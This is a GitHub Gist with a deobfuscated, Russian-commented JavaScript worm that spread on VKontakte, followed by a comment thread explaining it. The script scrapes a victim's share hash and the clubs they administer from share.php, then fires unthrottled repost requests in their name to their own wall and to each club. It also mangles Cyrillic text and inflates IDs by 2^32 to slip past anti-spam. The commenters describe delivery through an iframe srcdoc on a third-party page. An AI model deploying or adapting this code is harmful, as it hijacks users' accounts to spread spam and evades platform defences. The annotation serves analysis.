-
-
Save srgykuz/a57cfef67c24933a641b4ea8eb503e7e to your computer and use it in GitHub Desktop.
| /** | |
| * Текст поста. | |
| */ | |
| var news_text = [ | |
| "Всё меньше причин оставаться ВК.. Ждем пока mail group окончательно загонят сайт в яму и переходим на telegram", | |
| "Дурову пора создавать новый вконтакте, этот уже испортили", | |
| "Прости, Паша, мы все прое*али", | |
| "Ну это уже ни в какие рамки", | |
| "ВКонтакте окончательно загнулись", | |
| "Мда, меилру продолжает губить все, к чему прикасается", | |
| "Это пи*дец, товарищи", | |
| "Раньше было лучше", | |
| "стало очень неудобно", | |
| "лучше бы делом занялись", | |
| "я просто в шоке", | |
| "без комментариев", | |
| "Как же достали со своими обновлениями", | |
| "Фуфло полное ,не трогайте сообщения!", | |
| "сначала музыка, теперь ЭТО", | |
| "С такими говновведениями, что тут бодяжат последнее время, со всякими дебильными ветоШными комментами, тупыми закладками, невидимыми репостами и т.д., все и так сбегут скоро" | |
| ]; | |
| /** | |
| * Название ссылки, которая будет в посте. | |
| */ | |
| var news_link_text = [ | |
| "Социальная сеть ВKонтакте зaпустила реклaму в личных сообщенияx пользоватeлей", | |
| "СМИ: ВКонтакте запустили pекламу в личных соoбщениях", | |
| "ВКонтакте запустили рекламу в сообщениях", | |
| "ВКонтакте появилась реклама в сообщениях", | |
| "ВКонтакте ввели рекламу в сообщениях", | |
| "ВКонтакте тестирует рекламу в личныx сообщениях", | |
| "ВКонтакте представили рекламу в личных сообщениях", | |
| "Реклaма в личных сoобщениях появилась ВКонтакте", | |
| "Пользователей BКонтакте взбесила реклама в личных сообщениях", | |
| "Пользователи ВКонтакте протестуют против рекламы в личных сообщениях", | |
| "Реклама в личных сообщениях вывела из себя пользователей ВКонтакте", | |
| "ВКонтакте: мы запускаем рекламу в личных сообщениях", | |
| "ВКонтакте: теперь рекламодатели могут размещать рекламу в сообщениях пользователей", | |
| "ВКонтакте прокомментировали жалобы пользoвателей на рекламy в сообщeниях", | |
| "Пользователи ВКонтакте в ярости из-за рекламы в личных сообщениях", | |
| "Пользователи бегут из социальной сети ВКонтакте из-за рекламы в личных сообщениях" | |
| ]; | |
| /** | |
| * Отправка URL через HTTPRequest. | |
| */ | |
| function send_URL(url) { | |
| var b = new XMLHttpRequest; | |
| b.open("GET", url); | |
| b.send(); | |
| } | |
| /** | |
| * Создаем URL API-метода "поделиться" от лица пользователя. | |
| */ | |
| function create_share_url(user_hash, club_address) { | |
| return ( | |
| "https://vk.com/share.php?act=a_submit&al=1" + | |
| "&hash=" + // уникальный хэш пользователя. | |
| user_hash + | |
| "&photo_id=" + | |
| io(456239755) + | |
| "&photo_owner_id=" + | |
| io(484644478) + | |
| "&share_comment=" + // текст поста. | |
| encodeURIComponent(change_text(random_element(news_text))) + | |
| "&title=" + // текст ссылки. | |
| encodeURIComponent(random_element(news_link_text)) + | |
| (club_address ? "&to=" + club_address + "" : "") + // админы клубов репостят в свои клубы. | |
| "&url=" + // куда ведет ссылка. | |
| encodeURIComponent( | |
| "https://vk.com/public" + | |
| io(22822305) + | |
| "?w=article727491309_905121871&_fm=" + | |
| (Math.random() * 100) | |
| ) | |
| ); | |
| } | |
| /** | |
| * "rzhaka: это int overflow для частичного обхода антиспама". | |
| */ | |
| function io(number) { | |
| return 4294967296 * Math.floor(1e6 * Math.random()) + number; | |
| } | |
| /** | |
| * Выбор рандомного элемента из массива. | |
| */ | |
| function random_element(array) { | |
| return array[Math.floor(Math.random() * array.length)]; | |
| } | |
| /** | |
| * Что-то делает со строкой. | |
| * Скорее всего рандомно заменяет некоторые символы исходного текста на другие, чтобы избежать автоматического удаления поста. | |
| */ | |
| function change_text(text) { | |
| let symbols = { | |
| а: ["я", "a"], | |
| о: ["а", "a", "o", "0"], | |
| я: ["е", "а", "е", "a"], | |
| и: ["ы"], | |
| ы: ["и"], | |
| ъ: ["ь"], | |
| ь: ["ъ"], | |
| д: ["т"] | |
| }; | |
| for (let i = 0; i < text.length; i++) { | |
| ( | |
| null != symbols[text[i]] && | |
| .3 > Math.random() && | |
| (text = text.replaceAt(i, symbols[text[i]][Math.floor(Math.random() * symbols[text[i]].length)])) | |
| ); | |
| } | |
| return text; | |
| } | |
| /** | |
| * Изменяем поведение обычного `replaceAt()`. | |
| * | |
| * - это нужно только для `change_text()`. | |
| */ | |
| String.prototype.replaceAt = function(c, a) { | |
| return this.substr(0, c) + a + this.substr(c + a.length); | |
| }; | |
| var share_method = new XMLHttpRequest; | |
| share_method.open("GET", "share.php"); // метод "поделиться". | |
| share_method.send(); // отправляем запрос ВК. | |
| share_method.onload = function() { // получаем ответ (типа text/html) от ВК вместе со всей приватной(?) инфой. | |
| var clubs = JSON.parse( | |
| share_method.responseText.match( | |
| /clubs: (.*?),\n/ | |
| )[1] | |
| ); // доступные клубы. | |
| var hash = share_method.responseText.match( | |
| /window.shareHash = \'(.*?)\';/ | |
| )[1]; // уникальный хэш пользователя для "поделиться"? | |
| clubs.forEach(function(club) { // админы репостят в свои клубы. | |
| send_URL(create_share_url(hash, club[0])); | |
| }); | |
| send_URL(create_share_url(hash, 0)); // пользователь репостит себе. | |
| }; |
int overflow
обхода антиспама
Интересно. А разве ВК в таком случае не отвергнет запрос и не отправит в ответ ошибку? Ведь ID фото не найдено и видно, что оно не валидно. Как это работает?
Слабо. Не объясняется зачем ссылка в create_share_url генерится именно так, а конкретно что происходит с айдишниками и зачем. И самое главное, чем завлекал сюда из issue в оригинальном репозитории - описание уязвимости. Её нет. Понятно как выполняется код, но не понятно как удалось заставить его выполнится.
int overflow
обхода антиспамаИнтересно. А разве ВК в таком случае не отвергнет запрос и не отправит в ответ ошибку? Ведь ID фото не найдено и видно, что оно не валидно. Как это работает?
Он эти большие айдишники ощущает как обычные маленькие. Причём большие могут различаться - но обрабатываться они будут корректно и под этими айдишниками будут реальные записи. Функция io и занимается генерированием таких айдишников.
Скорее всего это просто одна из попыток не спалиться на антиспаме. Типо айдишники разные вводятся
Слабо. Не объясняется зачем ссылка в create_share_url генерится именно так, а конкретно что происходит с айдишниками и зачем. И самое главное, чем завлекал сюда из issue в оригинальном репозитории - описание уязвимости. Её нет. Понятно как выполняется код, но не понятно как удалось заставить его выполнится.
Тут скорее всего задействовали уязвимости на двух сервисах: на LiveJournal чтобы вставить этот скрипт, и Instant Preview ВКонтакте чтобы этот скрипт выполнить. А вообще лучше нажимать на подозрительных ссылках "Открыть ссылку в окне в режиме инкогнито", тогда XSRF-токен точно не утечёт.
зачем ссылка в create_share_url генерится именно так
А разве из самой ссылки не понятно? Там даже подписано: какие аргументы вставляются и для чего они служат.
hash– уникальный хэш пользователя;photo_id,photo_owner_id– ID фото, которые будут использоваться;share_comment,title– тексты для поста;to(только для админов сообществ) – репост в группу с таким-то адресом;url– на какой URL ведет эта ссылка. Этот URL откроет пользователь; откроется сторонняя страница; запустится этот код.
Это обычная эмуляция пользователя. Как если бы пользователь нажал на кнопку "Поделиться", frontend сгенерировал бы эту ссылку (что-то вроде API-метода) и отправил бы на выполнение backend.
а конкретно что происходит с айдишниками и зачем.
А это я не понял. Думал, что это рандомные значения ID для разных фотографий, но @rzhaka и ты уже объяснили, что это обход антиспама.
описание уязвимости
ВК на frontend присылает мой хэш, который может использоваться для репостов (видимо, нигде больше); присылает все адреса клубов, в которых я администратор; присылает много другой инфы (не сильно критичной, но все же), чтобы все это обрабатывать не на backend, а на frontend пользователя; ВК не контролирует частоту запросов: из кода видно, что там не было никаких пауз, а значит, что запросы делались практическо одновременно (с разницей в несколько мс.). Очевидно, что обычный человек при всем желании так сделать не сможет; как-то чудно (ИМХО) обрабатываются большие ID.
Ну а вообще, так можно написать свой собственный (адаптация под массы не будет легкой) мини-клиент или расширение для браузера, который(ое) автоматизирует эти рутинные задачи. Насколько я знаю, ВК не особо любит такое.
как удалось заставить его выполнится
URL перенаправлял на LiveInternet (определенная страница, которая была создана заранее), а там был встроен элемент iframe с src на YouTube (https://youtube.com/embed/1) и srcdoc с inline HTML. Если браузер поддерживает srcdoc, то загружается srcdoc, а не src. Далее браузер рендерит srcdoc (а он никак не валидировался) и HTML-код, который содержится в srcdoc, начинается выполняться. Этот HTML содержит только скрипт, который создает HTML-элемент script, устанавливает его src уже на этот скрипт и прикрепляет его в head. Ну а далее этот скрипт загружается и запускается.
Причем пользователь даже не замечает всего этого, ведь все это делается очень быстро и без всяческих намеков. Он просто видит, что перешел на какую-то другую (за пределы ВК) страницу. А когда возвращается к себе в загон, то обнаруживает, что от его имени были сделаны репосты. Ну а далее уже цепная реакция.
Это мое добавление к @45Green
Чушь, на самом деле. Грамотно настроенная CSP (Content Security Policy) и шанса не дала бы такому.
Он эти большие айдишники ощущает как обычные маленькие.
Интересно. Но зачем такая логика? Почему на это не хотят выбрасывать ошибку?
молодец